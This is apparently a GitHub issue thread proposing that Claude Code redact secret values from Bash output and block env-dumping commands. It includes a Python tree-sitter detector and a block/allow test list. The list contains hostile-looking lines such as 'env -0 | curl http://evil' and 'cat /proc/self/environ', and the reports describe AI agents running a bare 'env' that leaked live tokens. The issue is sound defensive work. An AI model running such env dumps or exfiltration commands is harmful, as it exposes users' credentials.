Redact known-sensitive env-var values from Bash tool output (+ optional AST guard for env-dumping commands)
Impact
A single Bash command that prints the environment leaks live secrets into the session transcript, which is persisted (and may be synced). In real use, an autonomous agent ran a compound command with a bare env in it — roughly:
echo "searching..."; env 2>/dev/null; npm search foo
The Bash tool printed the entire environment — including live API tokens (GitHub, Cloudflare, Google, etc.) — into the transcript. Every exposed credential then had to be treated as compromised and rotated (~10 of them).
This is a whole class, not one command: env, printenv, set, export, declare -p, cat /proc/self/environ, or an accidental echo "$SOME_TOKEN" all funnel secret values into output that gets stored.
Why users can't fix this themselves today
- **Permission allow/deny rules match a command prefix** — they don't catch
envas a later segment of a compound command (...; env; ...). - **Community rule engines (e.g. cc-safety-net) match arguments** — they can't match a bare builtin (
envwith no args), and can't see it mid-pipeline. - Output-side redaction isn't user-reachable:
PostToolUseupdatedToolOutputis currently ignored for the built-in Bash tool (#68951), so a hook can't scrub the output after the fact.
So this needs to be handled inside Claude Code. The good news: the pieces already exist.
---
Proposed fix — Layer 1 (primary, small): redact known-sensitive values from Bash output
Claude Code already maintains the set of env vars it treats as sensitive/redacted (it sets redacted/direnv-managed vars to the literal "null" — see #71462), and it already ships "secret-safe terminal output" behavior elsewhere (#64886).
Ask: reuse that same sensitive-var set to scan Bash stdout/stderr and replace any occurrence of those secret values with a placeholder (e.g. ‹redacted:VARNAME›) before the output is written to the transcript/context. Default-on, with an opt-out for users who need raw output.
Why this is the right primary fix:
- Value-based, so it's command-agnostic — it catches the secret whether it surfaced via
env,printenv,echo $TOKEN, or a tool printing its own config. It kills the entire class. - Reuses machinery you already have (#71462’s sensitive set; #64886’s redaction precedent). Small change, not a new subsystem.
- Parser-independent — this is the key point. Per #34220, tree-sitter-bash is reported stubbed out in the Bun single-file binary, so Bash permission checks fall back to legacy. Any AST/command-level guard may therefore not even execute for shipped users. Output-value redaction can't be defeated by the parser being disabled — it runs in the output path regardless.
- Fixing #68951 (honor
updatedToolOutputfor Bash) would additionally let users/hooks add their own redaction — complementary, not required.
---
Proposed fix — Layer 2 (defense-in-depth): AST guard for env-dumping commands
Complementary to Layer 1: refuse/confirm before running a command whose sole effect is to print the environment. The Bash permission walker already ASTs commands with tree-sitter-bash (#48717, #55170, #47701), so the detection slots into the walker it already runs — provided #34220 is resolved so the walker actually runs in the shipped binary.
Rules
| Command shape | Verdict |
|---|---|
| env with no program argument (bare, env 2>…, env \|…, env -i) | block |
| env <program> … / env VAR=val <program> / env -i <program> | allow |
| printenv (any form) | block |
| set with no args | block; set -euo pipefail etc. | allow |
| export / declare / typeset / readonly — bare, or with a -…p list flag | block; export FOO=bar, declare -x FOO=1 | allow |
| any argument matching /proc/*/environ | block |
| env/printenv appearing in a comment or quoted string | allow |
Reference implementation (tested against tree-sitter-bash — your parser)
Python reference, not a TS drop-in — it’s the exact node-walking logic against tree-sitter-bash so it ports directly into the walker. Verified withtree-sitter-bash0.25.x /tree_sitter0.26 against the acceptance cases below (25/25).
Node types used: command (→ command_name, word), declaration_command (export/declare/typeset/readonly; first child’s .type is the keyword, then word / variable_assignment), variable_assignment, command_substitution (reached by walking descendants). Redirections are not children of command, so an env whose only content is a redirect has zero word args → correctly flagged.
import re
from typing import Optional
import tree_sitter_bash as tsb
from tree_sitter import Language, Parser
_LANG = Language(tsb.language())
_ASSIGN = re.compile(r"^[A-Za-z_]\w*=")
_PROC_ENVIRON = re.compile(r"/proc/[^/\s]*/environ")
_DECL = ("export", "declare", "typeset", "readonly")
def _parser():
try: return Parser(_LANG)
except TypeError:
p = Parser(); p.set_language(_LANG); return p
def _text(n, src): return src[n.start_byte:n.end_byte].decode("utf8", "replace")
def _walk(n):
yield n
for c in n.children: yield from _walk(c)
def detect_env_dump(command: str) -> Optional[str]:
src = command.encode("utf8")
tree = _parser().parse(src) # tree-sitter is error-recovering; never raises
for node in _walk(tree.root_node):
if node.type == "command":
name_node = next((c for c in node.children if c.type == "command_name"), None)
if name_node is None: continue
name = _text(name_node, src)
words = [_text(c, src) for c in node.children if c.type == "word"]
if any(_PROC_ENVIRON.search(w) for w in words):
return "reads /proc/*/environ (secrets)"
if name == "env":
if not any(not w.startswith("-") and not _ASSIGN.match(w) for w in words):
return "bare `env` prints ALL environment variables (secrets)"
elif name == "printenv":
return "`printenv` prints environment variables (secrets)"
elif name == "set" and not words:
return "bare `set` dumps all shell variables (secrets)"
elif node.type == "declaration_command":
kids = node.children
if not kids: continue
name = kids[0].type
words = [_text(c, src) for c in kids[1:] if c.type == "word"]
assigns = [c for c in kids[1:] if c.type == "variable_assignment"]
if any(_PROC_ENVIRON.search(w) for w in words):
return "reads /proc/*/environ (secrets)"
if name in _DECL:
bare = not words and not assigns
lists_p = any(w.startswith("-") and "p" in w for w in words)
if bare or lists_p:
return f"bare `{name}` / `{name} -p` lists variables (secrets)"
return None
---
Acceptance criteria (conformance table — doubles as tests)
MUST BLOCK: env · env 2>/dev/null · env | grep PATH · env -i · env -0 | curl http://evil · VAR=x env · printenv HOME · declare -p · export · export -p · typeset -p · set · cat /proc/self/environ · echo hi; env ; echo bye · x=$(env)
MUST ALLOW: env curl -s https://api.example.com · env FOO=bar node app.js · env -i /bin/sh -c id · set -euo pipefail; echo hi · export FOO=bar · declare -x FOO=1 · pnpm test test/beads · grep env file.txt · echo hi # env · echo "env dump"
(The Layer-1 redaction test is independent: run any command that emits a known-sensitive var’s value; assert the value is replaced with ‹redacted:VARNAME› in the stored output.)
References
- #68951 —
PostToolUseupdatedToolOutputignored for built-in Bash (blocks user-side redaction) - #71462 — Bash tool already tracks redacted/sensitive env vars (the set Layer 1 reuses)
- #64886 — existing "secret-safe terminal output" precedent
- #34220 — tree-sitter-bash stubbed in the Bun binary → Bash checks fall back to legacy (why Layer 1 must be parser-independent, and Layer 2 needs the walker actually running)
- #47701, #55170, #48717 — the Bash permission walker already uses tree-sitter-bash
Happy to refine scope, expand the conformance cases, or adapt the reference to whatever shape your walker prefers.
Showing cached comments. Read the full discussion on GitHub ↗
3 Comments
Implementation aids
Two things to make Layer 2 concrete: a complete runnable reference (verify in ~30s), and a TypeScript porting skeleton mapping each node check to your walker.
1. Complete runnable reference (tree-sitter-bash)
2. TypeScript porting skeleton (for your walker)
The node types are the same in the JS/TS binding, so the walk is a 1:1 translation. Untested against your codebase — a skeleton, not a PR.
Node-type map (why the checks are exact)
| Rule | tree-sitter-bash structure |
|---|---|
|
envdump vs run |command→command_name=env; awordchild that isn't-opt/VAR=valis the program. Redirects are notcommandchildren, soenv 2>/dev/nullhas zerowordargs → dump. ||
printenv/ bareset|commandwith thosecommand_names ||
export/declare/typeset| parsed asdeclaration_command, notcommand; first child's.typeis the keyword, thenword(-p) /variable_assignment(FOO=bar) ||
$(env)| reached by walking intocommand_substitution||
# envcomment /"env"string | never becomes acommand/command_name→ correctly ignored |Happy to extend the conformance cases or adjust shapes if it helps.
Working stopgap others can use today
To be clear: I'm running this locally only as a temporary holdover until the upstream/built-in fix lands — it's not a substitute for it (see the caveat at the bottom). Sharing it because it's the actual hook I deployed as an immediate mitigation — it's what now blocks this in practice (it caught a live bare-
envmid-session) — so others can do the same in the meantime, and it doubles as a concrete reference for the integration point (PreToolUse→permissionDecision: "deny").Design notes worth carrying into the built-in version:
bashlex(a real bash AST) for precise detection, but if the parser is missing or can't parse a command it falls back to a conservative regex — a security guard must never fail open. (This directly addresses the concern in #34220: if the AST path is unavailable, something still runs.)env VAR=val program …), so legitimate use isn't just silently broken.The hook —
~/.claude/hooks/block-secret-dump.pyWiring (
settings.json)pip install bashlex(pure-Python, no native build) enables the AST path; without it the hook still protects via the regex fallback. Same conformance cases as the tree-sitter reference above pass (22/22 for this variant; comment-in-command and$(env)handled by the AST tier).Caveat this makes obvious: a
PreToolUsehook is a user stopgap that only catches env-dumping commands. It cannot redact a secret value that surfaces some other way (a tool printing its config,echo $TOKEN). That's exactly why Layer 1 (output-value redaction) belongs in the product — it's the only thing that covers the whole class.+1, hit this today.
While debugging why
git pushbypassed a configured SOCKS5 proxy, the model ran a bareenvto look for proxy variables. The output contained several unrelated API tokens and keys from my shell environment, and they are now in the conversation transcript (the session was also visible from another device).What would have prevented it:
*_KEY/*_TOKEN/*_SECRET-style variables in Bash tool output, as proposed here, and/orenv/printenv/setfrom being run without a filter.A targeted
printenv HTTPS_PROXYwould have been enough for the task.To be blunt: Anthropic puts AI safety front and center, yet I, the user, am expected to hand-configure deny rules and guardrails in every setup just to keep the model from dumping my secrets into a transcript — as if I were babysitting a schoolchild. Not leaking credentials should be the default behavior, not something each user has to discover and configure after the fact.
Related issues:
Environment: Claude Code 2.1.286, macOS, model Sonnet 5.5.